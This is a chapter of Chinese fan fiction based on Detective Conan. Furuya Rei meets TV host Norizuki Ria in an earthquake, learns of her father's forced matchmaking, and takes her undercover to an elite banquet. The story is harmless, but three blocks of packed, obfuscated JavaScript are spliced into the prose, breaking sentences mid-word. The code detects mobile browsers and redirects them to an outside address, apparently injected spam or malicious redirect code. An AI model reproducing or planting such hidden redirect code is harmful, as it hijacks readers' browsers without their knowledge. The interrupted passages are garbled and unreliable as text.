降谷零也低头看去,发现那位英勇跳窗的小姐脸上好大一块血迹。 “没事,刚刚把手划了一下……我们接下来要怎么办?啊!对了!” 她又从门洞的缝隙里钻了进去。 “喂!很危险!”降谷零皱眉喝止。 完全没拦住。那位叫绘里的小姐对他不好意思地笑了笑,“我们是日卖台的制作组,在这边出外景,没想到会遇到这样的事……还有其他的受困者吗?我们接下来怎么办?” 降谷零草草介绍了一下现状,正要安慰几句,发现先前那位莉亚小姐又抱着一台硕大的机器钻了出来,脸上还挂着一点半干的血迹,“绘里!我看了下还有内存,可以拍摄灾情发给台里!” 看起来很稳妥的绘里小姐好像也并不怎么稳妥,眼睛刷的亮了。 降谷零感觉面前有两道疾风,嗖地冲着消防通道飞了过去,只留下一声“多谢了,这位先生!” ……厚生省救灾也会有这个环节吗?太奇怪了吧。 等等。 他回忆了一下那个昏暗中的剪影,觉得好像是张在哪里见过的脸。 21.前因-Side B[番外] 降谷零很快得到了答案。 法月莉亚,日卖台的女主播,是诸伏景光很喜欢的深夜美食节目《Bristo》的主持人。拜喜爱厨艺的发小所赐,他被迫也跟着看过很多,怪不得对这张脸记忆深刻。 “日卖台的人怎么说?” 他捏着日卖台递过来的证件,让法月莉亚在小小照片里给他对视,漫不经心地问。 “是这样,他们恰好有摄影团队在这里,想借用我们的卫星通讯设备来传递灾情影片。我们警部认为是有利于救灾的好办法,但是现在信号统一归公安调配,所以来请示您的意见。” 他紧绷着脸,不置一词。 其实不是个好消息。这么快就能传出室兰的准确消息,对于别人来说不是什么大事,但放出消息的贝尔摩德一定能意识到警察厅的布置。这可能是最好的一次抓到她的机会了。 但另一方面虽然是电视台争先报道的利益行为,依照室兰的现状,也确实关系到北海道灾民的安全…… 他抬起头,把公安指挥车的窗帘拉开一条缝隙,看到警戒线外有两个眼熟的身影,正依偎在一起,在冷风中瑟瑟发抖。 明明她自己现在也是灾民吧?差点被困在房间里,为什么这么期待把自己置于更险境的机会……媒体人的职业特性吗?就好像警察也会追逐着犯罪的气味,难以停止。 他合上窗帘,淡淡道:“给她用吧。” 小警员对他敬了个礼,匆匆跑去远处正在等待的法月莉亚那边。 没过多久,他就隐隐听到一声短促的欢呼。循声看去,那位爱岗的女主播正弯着腰,半蹲在地上,紧紧捂着左手。 ……大概是一时激动就拍起了手,完全忘了自己受伤了吧? 他不合时宜地弯了弯嘴角。 一旁放下电话的风见正好看到这一幕,连忙问:“怎么了?” “没什么……对了,还有多的绷带和药水么?” 降谷零瞥了一眼风见。 “有的!您受伤了吗?”对方立刻翻起了医疗箱,连忙递给他。降谷零接过物品,随手扔给回来汇报命令执行完毕的小警员,“辛苦了,拜托你去把这个交给刚刚的媒体人士。他们好像有人受伤了。” 对方又迅速跑开了。 “降谷先生认识他们?”风见没忍住好奇,试探着问。 “啊,刚才是一起逃生下来的,注意到有人受伤了。很奇怪么?” 反问吓得风见连连摇手:“不不不,我只是觉得好像那个女记者很眼熟,有没有可能是贝尔摩德的伪装。” “不是。”他干脆地否认,“那是法月莉亚。很早的时候用过她的名义传递消息,记得么?你可能是那个时候搜过她的照片吧。” “啊,这就是那个‘莉亚酱’。”风见恍然大悟。“您记忆力真好,我还一直以为是诸伏先生编出来的人物,还想着他太厉害了,连这种随时可以换掉的隐语都安排了详细的背景资料。” 他说完就惊觉自己失言了,小心翼翼地看向降谷零。但对方面色不变,仿佛并没听到故友的名字,只是沉声说:“继续工作吧,风见,不要想那些陈年旧事了。” 降谷零又打开麦克,继续指挥现场行动。 ……当然不是编造的,她主持的可是诸伏景光最喜欢的电视节目,他怎么会忘呢? 就连姓氏都那么令人印象深刻,跟公安委员长的一样。因为是这么小众的姓氏,他们还曾经猜测过,这位女主播是不是真的和法月清张长官有什么远房的亲戚关系。 他没想过自己真的会有机会见到她本人。 也没想过一个月后,就知道了她到底和法月长官是什么关系。 * ——原来她真的是公安委员长的女儿。 三十岁的降谷零终于印证了一个多年前的猜测。 因为相同的姓氏,他和景光曾经用“莉亚酱”来指代公安委员长,或者其他警察厅的最上层。“莉亚酱有说什么吗”,曾经用这样的隐语和发小偷偷隐秘地传递来自高层的指示。最初行事不那么周全而被其他组织成员偷听到的时候,他们还戏谑说“这是波本正在追求的小女友”来加以掩饰。 他突然觉得有点好笑。 如果诸伏还活着,听到这样的相亲安排之后一定会大笑出声吧。 不过,如果他还活着,也许黑田课长就会选他那样性情温柔的忠实观众去和委员长家的大小姐相亲也说不定。 唔,那景光现在可能要笑不出来了,真是抱歉呢。 他掏出那个纸条,把地点和时间又看了一遍,顺便把它也发给了风见: “把这个时间给我留出来,不要排任何行动。 PS:最近的时尚杂志有什么对于重要宴会的搭配推荐么?总结好之后发给我。 另外,我的发胶快用没了。” * 公安委员长的女儿有自己的困扰。 两周前。 “我不明白!” 法月莉亚愤怒地冲进办公室,把文件夹扔到父亲面前。塑料的尖角重重地砸在实木桌面上,发出巨大而刺耳的声响。 几位秘书官面面相觑,最终和她最熟悉的桥本小心翼翼地劝阻:“大小姐,您……” “好了,你们出去吧。” 法月清张抬起头,挥了挥手。秘书们如释重负,一溜烟地跑掉了。 女主播甚至等不及他们关上房门,就开炮一样倾倒不满:“我实在不明白这到底是为什么!您不愿意我做别的工作,可以,那么我就去做主播,足够光鲜了吧?您不愿意我去播新闻,可以,我做了整整五年的深夜档节目,永远!永远都在厨房里吃东西,够听话够安分的了吧?现在得到的也只是特别节目临时借调的机会,甚至不是固定出演,我不明白到底怎么能影响到你的事业了——你要在对家打歌节目中拉票?” 看起来,她气得几乎发疯了,逐渐把敬语忘在了脑后。 法月清张似乎对她的恼火已经习惯了,只是等她安静下来才沉声回答:“你这次太出风头了,莉亚,这不是好事。” “哈?什么意思?”她的眉毛越扬越高,“公安委员长的指示是,女儿在地震里看到伤情和灾民应该熟视无睹,继续在高档酒店的后厨吃甜品?别太离谱了,就算不做媒体工作,我好歹也是个有感情的人吧——不是每个人都能像你一样冷漠好吗?” 对方像没有听到指责一样,只是快速地皱了皱眉,“我没有在因为这个指责你。但后续的特别节目不行,那是去东日本大地震受灾区。一旦是我的女儿亲自参与报道了,我这边会非常麻烦。” 好了,不用说了,大概是又有什么负面的政治新闻和他们这一派的人——或者这一派的对手产生了联系。他的女儿报道了就是公开站台,他的女儿每一句话都代表他,他的女儿公开和自己父亲唱反调…… 无论她怎么做都是不对。发声不对,参与也是不对,存在就是不对。 而他好像和全日本都能扯上关系。 莫名其妙,泪水好像自己在往外涌了。她微微扬起头,尽量不让声音显得颤抖:“可我只是想做属于我的事而已,你知道吗?很多时候,我也不是那么想做你的女儿。” “但你已经做了,而这不是有选择的事情。”公安委员长静静地看着她,“我们以前好像讨论过这个问题,莉亚,有必要再浪费时间吗?你不想做的事很多,我也说过可以给你时间去适应,但好像你适应得越来越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15053596|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差了。” 他站起身,捡起那个被她砸在面前的文件夹,不容拒绝地塞进了她的手里,“我认为我们在你入职日卖之前就已经达成共识了,现在是做你该做的事的时候了。这里面的你可以慢慢选,实在不喜欢的话,桥本还可以选更多的人来,但我不会再同意你找理由拒绝了。” 她突然意识到这次完全没有商量的余地了。莉亚的面色渐渐变得苍白,“我不选又能怎么样?” “我会直接跟你的领导联系。”法月清张的目光颇有威慑力,“深夜档都不会有得做了,莉亚,如果这就是你想要的。我非常认真。” 她几乎颤抖着手打开了那本只匆匆扫了一眼的资料。 一排排年龄相仿的青年人证件照立刻映入眼帘。 果然。又来了。 六年前,她被连续的婚活逼得离家出走,最后决意离开日本,干脆和这位白手起家的铁血高官父亲彻底切割。 但她在海关被拦了下来。那位警官一看到“法月”两个字,就立刻把她请到了禁闭室,结束了她试图寻找自我的短暂旅程。 父女俩最后各让了一步:他同意她去工作,但只能做一些体面的活儿,比如红十字会理事、博物馆研究员,或者电视台主播。她选了最不像皇族出身的那个岗位。 同样的,她也答应老老实实去和父亲选中的青年相亲联姻,但不是立刻,需要做好心理准备后仔细挑选——当时她还怀有着天真而温情的想法,想着也许这只是他下不来台的借口,过两年就不会再提了。 但估计错误。公安委员长仍然那么善于蛰伏,但固执己见。 他终于来收利息了。 从小到大,她想做却悖逆了父亲构想的事其实没有哪件真的能推进下去。小时候“男孩子气”的爱好早早被掐死在温床里,她自己都要忘了。就连升学考的时候,只有学习院、御茶水和东大文学一部的志愿能得到他的认可,其他的校内考时被安排了不可以不去的补习和茶会,直接都没有参加的机会。 她也完全没有勇气去和他彻底抗衡。任何反对最后都只像小猫撒娇一样,伸出爪子不痛不痒地挠一下。不管已经做了多少努力,都会立刻被捏住脖颈,再没有任何抗争的能力了。 失败过一次一次一次一次又一次之后,疲惫和恐惧远多于愤怒,再也没有这种挣扎的力气了。 ……这次也不例外。 她不得不把后颈露出来,交到对方的手里。 手指从那些照片上划过,最终停在了一张份外不同的脸上。 他有着明显更深的肤色,和日本罕见的熔金似的头发。 ……不,哪怕只能不见血的轻轻挠一下,还是想伸出爪子。 “那就从这个开始看吧。” 莉亚用指甲掐了一个印记,把文件扔了回去。 “混血?”法月清张皱起眉,“这小子成绩是很不错,但……” 她把手臂抱在胸前,柳眉倒竖,“您忘了吗,我妈妈就是日本人和巴西女人生的女儿——我也是混血。” 他不再像之前那么平静的对答如流,垂眼沉默了好一会儿,才重新开口:“还有几个我觉得也不错,你也一起看看。我让桥本去安排。” 她哼了一声,不置可否,转身就走。 拉开门之前,突然转来一声呼唤:“莉亚。” “什么?”她不耐烦地问。 法月清张把钢笔缓缓地推进笔帽里,在发出咔嗒的一声时,突然开口说:“灾情节目做得很好,我很喜欢。” 她愣了愣,随即用力把门摔在身后。 泪水也一起被震落了,掉在地毯上,晕出了一块熔金色的浅浅水痕。 像落日余晖漾于冰冷的水潭。 22.危险筵席 降谷零突然警惕起来:“这是什么意思?你对稻荷会了解多少?” “稻荷会?”莉亚在记忆深处搜索了一下这个名字,发现并没有什么痕迹,“我只知道稻门会。” “我不是问早稻田的校友会。稻荷会是一个商政界精英的内部交流组织……算了。”降谷零无奈地按住额头。他就不应该指望情报会一下子跳出来,这又不是什么游戏,可以随时触发提示。“所以你刚刚为什么说我肯定拿不到情报?” 莉亚仿佛突然对天花板产生了兴趣,“呀,我没有受过训练,也不知道什么精英组织,可能说的完全不对呢。还是不要说了吧。” 果然,大小姐是不会真的像下属一样听从管教的。不要说NPC了,她简直是关底怪兽。降谷零叹了口气,不情不愿地把双手在额前合十,“拜托……” 她终于把视线挪了回来,指了指他,“虽然不知道那是具体什么组织,但既然你说私人俱乐部,那么门槛一定是不低的。这个当然不行了。换我我也拒绝你。” 什么东西? 降谷零低下头,在身上看来看去也没有发现让他露出破绽的异样,狐疑地问:“我身上写了犯罪组织四个字了?” “那倒没有,但是写了‘我是骗子’。”微笑从降谷零脸上迅速消失,令她顿感快意。她决定出一口被人忽视关在房间里的气,于是慢条斯理地说:“你穿的这件西装翻领过宽,腰部裁剪又是直筒的,已经不是现在的年轻人会选的新款了。” 她转到降谷身后,伸手扯了扯他肩膀上的衣服,更加地兴致勃勃,“再仔细一看呢,垫肩和肩部放量也不合适,原主人大概身材比你矮小一些?料子还挺好,但居然用的不是全麻衬,哪会有人这么定……” 一个通宵至今未睡的降谷零耷拉着眼皮,看起来黑眼圈都要从比常人更深的肤色里浮出来了。他面无表情地听到法月莉亚下了结论,“这套衣服放十几年前大概还不错,现在么……恐怕只有自家小商社倒闭的中年社长在二次求职的时候才会翻出来穿了。你要想装成青年精英,那当然是一眼就能被看破了。” 她肯定自己似的自信点了点头,“反正我的相亲对象是没有一个这么穿的。” “谢谢你了。”他从齿缝里挤出了不情不愿的道谢,简直像一声冷哼,“首先,这是我们公安提供的服装,已经是特别挑选过的高级定制了。其次——” 他的声音突然变低了,莉亚几乎没听清。 “你说什么?” “……你去选一套吧。” “唔,这可不好说。”她愉快地把手指抬到面前,故作优雅地吹了吹美甲,“这是协助人的任务吗,还是你的请求?” 他飞快地回答:“是任务。” “哇,让女下属去给上司买私人衣服,这是权力骚扰吧?我可得好好想想。”她放下手,去取手机,“警察厅人力资源部门的联系方式是什么?我得问问这符合不符合章程。” 降谷零深吸了一口气,向下扯了扯嘴角。不知道为什么,她恍惚间觉得他还偷偷翻了个白眼。 “是我的请求,拜托了。” 她把手机放回桌子上,吹起了口哨。 “……所以这是行还是不行?” “既然是品味堪忧的丈夫的请求,那我就答应了——别皱眉了,我保证,这方面我可比你有用多了。” “……这真的有用吗?” 金发公安不自在地揪了揪领口的蝴蝶结,对着西装店里的落地镜照来照去——他看不出有什么分别。 法月莉亚瞪了降谷零一眼,用力拍掉他想偷偷多解开一颗纽扣的手,“好了,转过身去。” 身着笔挺高级西装的降谷零被她拉着转了个圈,不情不愿地对着镜子挺直后背,任由莉亚摆弄。 她举起了绀色西装外套,仔细地反复观察评估,最终得出结论:“我觉得你还是穿灰色系的比较好看。这件的面料也还算说得过去,就是搭配的袖扣不行,珐琅的实在太花哨了。一会儿去看看别家的。领带夹……唔,还真没注意过,谁家卖领带夹?” 她把降谷零丢在一边,皱着眉喃喃自语,最终干脆自己动手搜索起来。 降谷零第一次知道男人也有这么多可以使用的饰物,听得晕头转向,“我觉得不需要这么……” 莉亚刷着图样,不耐烦地冲他摆了摆手,“你不要乱觉得,快去试衬衫。别选那些优衣库似的花纹,看着就头疼。” 她突然抬起头,视线从手机屏幕上方犀利地划过,“你六年后的衣品还蛮好的,社交和工作的时候都会特意选面料和版型有差别的款式,真没想到现在这么不开窍,啧。” “我知道了。”警校第一绷着脸,恼怒地抓起一旁等待他试穿的五六件衬衫,大步走进更衣室。 莉亚用手机挡住嘴,防止被他看见恶劣的笑容。 胜负欲过强的家伙,已经被她逐渐掌握了使用的技巧。 她把几款合眼缘的配饰保存下来,满意地确认了购物清单确实即将完成,转而开始搜索稻荷会。 果然还是只有早稻田的消息出现,偶尔夹杂着一些稻荷大社夏日祭祀预告的信息。 他到底在找什么情报呢?自从透露了这个名字以后,就好像很懊恼,又神神秘秘地不肯多说什么了……对了,或许可以问以前的同学。那些旧华族出身的家伙大概会更了解上流人的秘密集会。 不过要怎么措辞才能不打草惊蛇?万一被人发觉秘密调查就不好了。 她对着通讯录里犹豫的时候,降谷零已经出来了,别扭地弯了弯手肘,似乎觉得动作受到了束缚,“这身怎么样?” 法月莉亚又看到了希望。 衬衫有着很好的垂感,精巧的版型显得降谷腰身的线条十分流畅,同时款式也和西装外套非常搭配,有一种略带不羁的潇洒。 ……让她忍不住想起来入籍那天一眼就看到的、被雨水浸出精干线条的肌肉。 她不自在地摸了摸耳垂,含糊地说:“还不错,那就这套吧——你好,我们要定这个。” 服务生连忙快步走过来,拿着图册温声对费用逐样确认起来。 降谷零悄悄瞥了一眼图册上的数字。 降谷零皱起眉头,开始心算。 ……降谷零把两只手背到身后,用力掐自己的虎口,避免倒吸一口冷气的样子太过明显。 在服务生用计算器按出那一串漫长的零之前,他突然发问:“所以什么时候能拿到手呢?” “这个嘛,”服务生翻了翻资料,“啊,您今天下订单的话,三天以后可以取呢,因为需要富有经验的裁缝师傅修改一下尺码。” 太好了。他立刻露出为难的神情,“这恐怕有点不方便。我比较急用,必须得在后……” “您如果支付加急费用的话,后天中午也可以哦。” 降谷零默默吞下即将脱口而出的“后天”,转而说:“……我明天中午就要用。” 服务生小姐果然露出为难的神色。他配合地笑笑,顶着莉亚狐疑的目光,强行拉起她的手,“没关系,我们还是再看看。” 好在女主播虽然没有接受过“如何配合搭档”的卧底公安课程,却对“如何让陷入难堪的嘉宾顺利脱离困境”富有经验,只是微笑着点头。一直走到街上,她才开口问:“明天?不是吧,这个宴会真的要中午举办吗?这些精英都不用工作的吗?” 他推脱时的口气真的很像那种付不起账单之后还要硬装富家子的虚伪家伙。 “当然不是了,但你看到那个价格了吗——拜托,那个数字比我信用卡所有的额度都高,难道你真要我问‘这件西装可以分期多少年’‘你们这里能不能做零息贷款’吗?” 大小姐捂住了脸。 从来没有遇到过的问题……看到降谷零的尴尬神色,她第一反应是说些“那就去贷款啊”“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15066300|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真以为上流圈层可以随便加入啊”的话调侃回去,以便看他更郁闷的脸色。 但这家伙可是她现在的房东兼任饲主,果然还是不要激怒他比较好吧。 她用力往下按了按唇角,“这样会比较麻烦……不过也不是完全没有解决办法了——喂,你这是什么眼神,这方面我可是专业的,不要那么不信任。” “是,是。”他立刻举手表示投降。 说不清到底谁是下属了……不过这样的时候,前任女主播怎么也比警察厅那群壮汉更像能给出可靠建议的专家吧?果然团队多样化还是有必要的。 女主播果然深谙此道。两个小时之后,他们就从代官山收获了一批猎物,在公寓里摆出了好大一片。 “虽然这个预算只能买得起中古,但是用这些伪装成眼光比较独到、习惯复古风的青年精英大概还是可以的。”她拎起面前的西装外套,“特别是这款用到的格纹布料,过了几年就又成为春秀上的热点了。现在只要找个裁缝,让他稍微改改尺寸就可以。” “唔,那么衣服的问题解决了。我记得你说还要加上配饰?”降谷零对着手上的清单看了看,“我准备的那些都不可以么?” 莉亚没有直接回答,但他的表情也突然变得很微妙。她立刻猜到自己大概忘记了做表情管理,把真心话无声地写到了脸上:不要企图拿一眼假的玻璃球糊弄人啊! “好吧。”降谷零叹了口气,开始对着票据计算可以用来购置配饰的剩余额度。他是听说过中年男人都会莫名其妙过上拮据的生活,但真希望不是现在这样,买一副袖扣都要在大小姐出身的妻子面前窘迫地疯狂按计算器。 想想吧,要是她突然说“你几年后买求婚戒指的时候也是这么拮据”,那将是一场精神和经济上的双重绝杀。 大小姐果然清了清嗓子,要开口了。 他下意识地挺直了脊背,“又怎么了?” “要不算了,添置这种东西也很难真的用上几次,不至于要这样辛苦……我想到了个更好的方法。” 经过训练的卧底公安严肃提醒:“偷窃和抢劫都是非法的。” 莉亚翻了个白眼,抬手去摸自己耳垂,“谁让你去偷了——这个给你。” 她把自己那对耳坠摘了下来,摊在手心里,递到降谷零面前,“你把最下面的宝石拆下来,再用别针固定在袖子上就可以了。只要不解开,应该没人会发现的。” 他对着眼前那对闪闪发光的小东西,紧张地咽了一口唾沫。 这对耳坠上的蓝宝石有拇指盖那么大,精妙的切割衬托出深海一样的深邃。层层叠叠的碎钻作配,把它们镶嵌成了太阳花的形状。 真希望这对耳坠是他六年后由自己亲自付的账单,不然真的太道德沦丧了:世界上怎么会有需要用未来妻子的嫁妆来完成卧底工作的间谍? 他很想拒绝,但左边那只写着“代号”,右边写着“任务”。降谷零动摇了很久,最终还是伸手去取,“……那么,多谢了。” 莉亚突然握拳,把耳坠收了回去,“你想好了吗?” 他不解其意,挑了挑眉。 “你应该已经在他们面前出现过一次了,现在要怎么解释突然改变的着装风格呢?何况有钱人不会把同一套衣服配饰反复地穿来穿去,再要准备更好的衣服也不是很容易了,所以其实只有这最后一次的机会吧——” 降谷零的隐忧被新手协助人直白地戳破了,他立刻绷紧了脸,“不用担心,我会……” “带我去吧?” “什么?” “诶,这不是很好用的理由吗?和妻子吵架了就会被打扮得很土气、但是和好了之后立刻重新拉满时尚度的男人,应该大有人在吧?把缺陷推到妻子身上,再顺势把自己塑造成爱妻家,这是政客常用的手段啦。” 莉亚把卷发在手指上绕来绕去,缠成了纺锤的模样,“怎么样,要不要考虑下?” 23.危险筵席 降谷零沉默不语。 法月莉亚似乎完全没有察觉到他隐隐的拒绝,反而积极自荐:“你不觉得很合适吗?拿我当借口的话,我是真的完全无所谓哦。对了,我还可以帮忙圆场——对付高级宴会可是我的特长。” 好像确实是个很便利的助力,避免了他不恰当地对无法充分调查的人脉露出生疏感。即便真的被什么人怀疑甚至捉住,只要顺势亮出她的底牌来,也没有什么人敢对法月家的独生女随便动手。虽然确实没有卧底经验,但遇到紧急情况大概比风见回收起来还容易。 不对,怎么真的开始思考把普通人卷进来的后果了。他懊恼地拍了拍额头。 莉亚投去了疑惑的眼神。 “你真的很奇怪……学习院出身的女主播,这不是明显的大小姐模板吗,为什么不愿意在家里安安稳稳地享受生活,反而要做潜入搜查官的助手?” 茶色眼睛里的疑惑变成了鄙夷:“街上随便抓个女的,再塞给她十个亿,那她立刻就可以成为大小姐。怎么看都是卧底搜查的经历比较少见,不是人人都能做的吧?” 哈。公安警察在心里干笑了一声。卧底搜查官他见多了,通讯录随便按出去一个号码,八成都是卧底,怎么看都是十个亿日元比较珍贵……算了,离家出走都要带巨额现金的大小姐显然不会认同他的看法。 他换了个角度,试图说服:“已经没有钱给你买首饰和服装了,所以还是——” “你果然在这方面一窍不通。”大小姐解下设计繁复的项链,推到他面前,“看到了吗,这种设计的项链,只要在关键位置拆开,就可以变化造型。” 法月莉亚说着动起手,小心翼翼地用发卡挑开了项链背后的卡扣,几下就把一整条网链状的项链拆成了分散的若干块。 她拿着互相比了比,把刚刚拆开的两枚耳坠和一颗小蓝宝石推给降谷零,“这几个是你的,袖扣和领带配饰。”然后把剩下的一摊拨到了自己这边,“这些留给我,这个当主石,这个当胸针……唔,大概凑出来一套简约款还有得剩。” 在莉亚拆开这条项链之前,他其实还没有意识到上面的宝石到底有多少。而这个拆首饰进行改装的动作……以及虽然只是学习洗钱手段时的匆匆一瞥,他好像在卧底培训的拍卖物资料里有看过类似的款式。 价格好像……比今天的西装长多了。 降谷零终于意识到这应该不是他的薪水能支付得起的——除非是拿他的抚恤金买。 说起来这家伙突然穿越时空,难道真的没有一种可能是因为丈夫突然身亡了吗?很像催泪苦情剧会有的设定啊。 他觉得嘴里发苦,咕咚干咽了一口,“这样也没有可以给你穿的裙子……太太应该比先生打扮得更好吧?” “这个也不难解决。”她轻快地站起身,赤着脚跑回了卧室。降谷零听到了衣柜柜门的碰撞声,紧接着是过长的布料在地板上划过的沙沙声。在真切看到之前,耳朵其实已经给了他答案—— 法月莉亚果然拖着那条带着刺绣暗纹的婚纱回来了。她捏着肩膀的布料,在自己身上比了比,“把裙摆拆掉两层,再把拖尾改短,应该就差不多像纯白的普通晚礼服了吧?” 这次不是过长的价格让他感到在意了,而是另一件事:“可那是你的……” 她无所谓地抬了抬手,“啊,没关系,以后可以买更好的——” “……婚纱。” 气氛突然僵住了。 在丈夫面前对着婚纱浑不在意地说“下一条更美”,以及要靠老婆亲手拆首饰和婚纱推进任务——很难说到底哪一方更尴尬。 法月莉亚眨了眨眼,把裙子和西装一件件整理起来,假装无事发生,“总之就这么决定了,对吧?那还是找个裁缝改一改。我最熟的那家恐怕不太行,我们家的衣服都要送过去,店长婆婆大概会对他们提起看到过我吧……” “……啊,这个不用担心,交给我吧。” “诶?” 降谷零有点不自在地挪开了视线,“嘛,读警校的时候制服总不合身,训练多了也容易磨损,又有门禁在,所以还是自己处理比较方便。” 她抱着裙子愣了一会儿,才反应过来:真是发现了丈夫意想不到的技能呢。 准备妥当之后,他们又一次在一个有奢靡酒宴的夜晚造访了米花大饭店。 莉亚挽上降谷零胳膊的同时,忍不住悄悄朝肩膀后面瞥了瞥,“但你真的不觉得不应该用大露背的设计吗?总觉得怪怪的。” 他看了看周围的动向,才压低嗓音回答:“这个设计就是这样,是你自己选的吧?我只能按照原来的缝合改改尺码、拆掉两片布料什么的,怎么会大幅改动款式——而且我之前又没做过女装。” 她小声嘀咕:“那是因为原本还有头纱。现在好冷哦,果然还是最讨厌大露背的礼服了。” 在莉亚纠结礼服是否改造妥当的时候,一位穿着黑色燕尾服的门童走了过来。 降谷零清了清嗓子,悄悄用手肘碰了碰她。莉亚瞬间噤声,换上了一种疏离矜持的冷淡微笑。 “先生,女士,晚上好,请问你们有请柬吗?” 降谷零从胸袋里掏出一枚浆果红的信封递了过去。对方快速扫了扫,便客气地为他们撑开门,“请往这边走。” 莉亚小声问:“你这不是拿到了请柬吗,为什么说难以接近?” 降谷零维持着一个纹丝不动的淡淡微笑,即便是擦肩而过的人,也看不出他正在低声介绍着即将到来的违法活动细节:“这是他们外围的酒宴,会请很多人来参加,但如果想真正接触到目标人物,得被邀请进入稻荷会的核心圈层。” 兴奋的新手公安协助人愣了愣,发现自己准备了大量的物质材料,甚至还把逃路用的马自达开去做了保养,却忘记问最关键的问题了:“所以目标人物是谁?” “真高兴你想起来问了。”他勾了勾嘴角,“这就是比较为难的事……她指定了要稻荷会会长的活动录影,所以只找到这个文件存放的地方还不够,还得判断哪位是会长。” 交谈中,他们走到了宴会厅前。隔着沉重的雕花门,就能隐隐窥见里面的沸腾景象。带着白绸手套的服务生立刻上前帮忙开门,揭开了一片灯火辉煌。 宴会厅中,到处都是穿着考究的优雅男女,正三五成群地把酒交谈。负责提供饮食的服务生们正在奔走,用盛满美食的银托盘堆满了桌子,把空气装点上了淡淡的糖霜味道。 莉亚环视四周许久,皱了皱眉。 这间米花大酒店的宴会厅后来被他们征用做了婚礼待客的场所,但两次宴会的布局截然不同。这场酒宴是很典型的立式餐会,没有明显的主宾区域,反而分散地摆了不少供人休息的软椅和高脚桌。 “这样确实没法直接看出谁是主人了……没有这方面的情报吗?” 降谷零的回答夹在乐队演奏的田园音乐里,几不可闻,“也有一些猜测,不过是根据其他成员的身份和地位反推的。目前可能性比较大的总理大臣的儿子、内阁官房事务官,还有桥本财团的理事长。” “那么应该优先关注桥本财团。”莉亚快速给出判断,“另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15079375|160860||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外两个即便真的是这个组织的核心,一般也会为了避嫌而推脱掉正式的职位,毕竟如果有什么丑闻爆出就太难解决了。顺便一说,我见过杉下总理家的次子,很活泼的一个人,满脑子都是赛车和乐队。” 降谷零瞥了一眼她,没有立刻回答,反而把酒杯举到唇边沾了沾。 难道说的不对?她试着用他一贯的思路重新算了算——咦,这不是确实说得挺好? 于是暗暗怒目而视,进行无声的质问。 某人放下酒杯,屏蔽掉了控诉:“没什么,就是想果然还是大臣家的女儿才比较了解大臣家的生态……那也是你的相亲对象?” “是吧,那老头子偶尔塞点前华族给我。那家伙出了名的叛逆,可能觉得会和我比较聊得来吧?我是见了他之后才知道我其实还挺保守的……不过你查到的应该是他哥哥吧,怎么了吗?” “没有。”降谷零若无其事,“我就是挺惊讶原来我以后会成为保守派啊。” ……才不是,其实你才是那个激进的选项。 但电光石火间,她意识到了这个问题的陷阱所在。“足够保守”对于伴侣来说挺起来可不像是一句夸赞。于是莉亚便装作没听懂,把话题轻巧地转移开了,“桥本财团倒是不太熟悉……要是和我们家的桥本有什么亲戚关系就容易得多了。” 他嗤笑一声,放下酒杯,“你们家的桥本要是有这样的亲戚,就不用像我一样跟在大小姐身后伺候了。” 她到底哪里难伺候了?再说桥本也不是天天跟着她! 莉亚正要反驳,却被人插了话进来:“您好,请问您是安室莉亚女士吗?” 他什么时候又给她换了假名?不是已经说好她在别人面前叫“星野怜子”的吗?她还在思索怎么接上这个问话,降谷零就已经抢先开口回答了:“是的,这就是内子。请问您有什么事情?” 那个保安打扮的人看了看莉亚,又看了看手上的资料,非常为难地说:“安室夫人的宾客信息似乎有点问题。非常抱歉,但为了酒会的顺利进行,我们还是想单独确认下,您看可以吗?” 莉亚心里咯噔响了一声:她的加入是临时决定的,难道是盗窃了别人的身份被发现了? 她张了张口,想维护自己的身份,但不知从何下手。 降谷零在对方难以察觉的地方扯了扯她的裙摆。他皱起眉,露出一种仿佛看到了脏东西出现在自己面前的傲慢神色,“这不大合适吧?这样级别的活动居然这么草率?实在是超出我的想象了。” 但那位警卫人员的态度很坚决,“抱歉,这也是为了您在内的宾客安全着想。只要太太的身份信息能印证上就好了,不然我们也只能请您离场。” 就连降谷零也卡顿了一下。他开始努力回想技术部的人到底是借用了谁的信息来进行造假的。 那个名字用了一会儿功夫才终于出现在他记忆的角落里。但要怎么当着面传递给莉亚呢? 他试图把这个对话接管过来:“我说了不要这么对我太太说话。有什么问题直接问我——” 对方强硬地拒绝了:“请让这位太太本人和我们进行确认。我想知道她的生日和受邀组别?” 但莉亚还是沉默无声。对方的神色显然变得怀疑起来,视线来回在他们身上转,甚至伸手去摸对讲机。 她忽然开口了,但却把脸转向了降谷零,露出身在状况之外的茫然无知:“O que ele está falando?” 语气里甚至还有一些悠然自得的轻快。 